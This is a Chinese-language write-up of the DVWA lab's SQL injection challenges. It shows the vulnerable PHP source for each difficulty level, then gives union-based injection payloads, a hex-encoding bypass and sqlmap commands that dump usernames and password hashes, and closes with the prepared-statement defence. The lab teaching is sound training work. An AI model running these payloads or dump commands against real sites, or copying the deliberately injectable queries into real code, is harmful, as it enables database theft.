0x00 SQL Injection(SQL注入)
SQL Injection,即SQL注入,指攻击者通过注入恶意SQL命令,破坏SQL查询语句的结构,从而达到恶意SQL语句的目的。SQL注入漏洞危害巨大,常常导致整个数据库脱库,尽管如此,SQL注入仍是最常见的Web漏洞之一。
0x01 Low
源码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
可以看到参数id没有任何过滤,就直接将用户输入插入到sql语句中,直接万能秘钥“1’ or 1=1 #”即可开始注入测试。
SQL注入的一般步骤:
- 判断是否存在注入,注入是字符型还是数字型。
- 测试字段数。
- 确定显示的顺序和位置。
- 获取当前数据库。
- 获取数据库中的表名。
- 获取表中的字段名。
- 脱库,爆破数据。
解题思路
直接输入1' or 1=1 #
,就可以看到当前表下的所有用户和密码。这个是万能秘钥,一般可以尝试测试一下,下面还是按照正常步骤来判断。
1、判断是否存在注入,注入是字符型还是数字型。
输入1
,查询成功。
输入1' and '1' = '2
,查询失败,返回结果空。
输入1' or '123' = '123
,查询成功。
通过这三次测试就可以看出存在字符型注入,因为用到单引号字符,同时最后面是用一个开的单引号,这样就可以闭合源码中的单引号,其实也可以在最后加上#或者–+,输入后就可以注释掉源码中后面的语句内容。
2、测试字段数。
确认是字符型之后就可以猜测字段数。
输入1' or 1=1 order by 1 #
,查询成功。
输入1' or 1=1 order by 2 #
,查询成功。
输入1' or 1=1 order by 3 #
,查询失败。
说明是2个字段,即成功的时候order by
后面数字最大的。
3、确定显示的顺序和位置。
输入1' union select 1,2 #
,查询成功,结果显示:
ID: 1' union select 1,2 #
First name:admin
Surname:admin
ID: 1' union select 1,2 #
First name:1
Surname:2
一般这种联合查询的时候,前面要使用不存在的id如0,这样才能显示union select
的内容。但本题是显示所有返回结果,所以用存在的id也可以。
0' union select 1,2 #
,查询成功。
4、获取当前数据库。
输入1' union select 1,database() #
,查询成功得到数据库名dvwa
5、获取数据库中的表名。
输入1' UNION select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
,查询成功得到表名有两个,guestbook与users
注:如果遇到Illegal mix of collations for operation ‘UNION’报错,一般是mysql版本过低,尝试换一个高版本的mysql,或者用网上教程查一下两个表的字段排序方法是不是一致。
6、获取表中的字段名。
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
,查询成功得到users表中的字段有10个,avatar,failed_login,first_name,last_login,last_name,password,user,user_id,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,USER
7、脱库,爆破数据。
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
,查询成功得到账号密码等字段,不过密码是MD5加密的。
当然还有另一种方法是sqlmap注入,首先需要Burpsuite抓包,把数据包保存成request.txt,然后打开windows终端(注意安装sqlmap)或者kali终端(自带sqlmap),输入以下命令:
sqlmap -r request.txt --batch --dbms="MySQL" --current-db # 可以得到数据库名
sqlmap -r request.txt --batch --dbms="MySQL" -D dvwa --tables # 可以得到表名
sqlmap -r request.txt --batch --dbms="MySQL" -D dvwa -T users --columns # 可以得到列名
sqlmap -r request.txt --batch --dbms="MySQL" -D dvwa -T users -C "username,password" --dump # 获得所有数据
0x02 Medium
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
mysqli_real_escape_string这个函数会对\x00,\n,\r,\,’,”,\x1a进行转义,并且前端页面设置了下拉菜单,所以必须抓包修改后再注入。
绕过方法很简单,因为此时是数值型注入,不需要单引号,所以直接万能秘钥1 or 1=1 #即可,其他注入都跟Low等级一致,只需要抓包修改,不要用单引号即可。如果要用到单引号,那就用十六进制编码绕过。
解题思路
随便输一个,然后burpsuite抓包并发送到repeater模块,修改id的值为如下,然后发送出去之后,得到response搜索pre可以看到结果:
1、判断是否存在注入,注入是字符型还是数字型。
1 or 1=1 #
,查询成功,说明是数字型(因为不需要引号)。
2、测试字段数。
1 order by 2 #
,查询成功
1 order by 3 #
,查询失败
说明字段数为2。
3、确定显示的顺序和位置。
1 union select 1,2 #
,查询成功并返回信息可以看出顺序和位置,本靶机都有显示。
4、获取当前数据库。
1 union select 1, database() #
,查询成功数据库名为dvwa。
5、获取数据库中的表名。
1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
,查询成功得到结果为guestbook,users。
6、获取表中的字段名。
1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #
,查询失败,
因为单引号被转义了,用0x7573657273代替users,用十六进制不需要再加单引号的十六进制编码了。
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
,查询成功得到列名为`avatar,failed_login,first_name,last_login,last_name,password,user,user_id,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,USER。
7、脱库,爆破数据。
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
,查询成功得到结果为一系列账号密码等信息,密码为MD5。
0x03 High
源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到没有了过滤函数,但多了Limit限制,感觉比Medium更简单,直接用Low的那些步骤输入即可。用#号注释掉后面的LIMIT 1。
解题思路
注意点击提交时会有一个弹出新页面,那才是真正的输入,但是输出结果是在原来的页面,这样的话测试就直接输入即可,不要用抓包,也用不了sqlmap,因为存在302跳转。
前面1到6步同Low登记,最后一步,
1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
,查询成功,得到结果。
0x04 Impossible
源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码首先checkToken防御了CSRF,然后判断输入是否为数值,再采用PDO技术把参数的值写入为文本,也就是参数的值不能作为代码执行。这样就有效防御了SQL注入。
解题思路
无。
0x05 小结
防御方法:
- 过滤用户输入,如一些关键词select、union等。
- 使用预编译处理SQL语句,如PDO技术、Sqlparameter。
- 使用OWASP等安全的SQL处理API。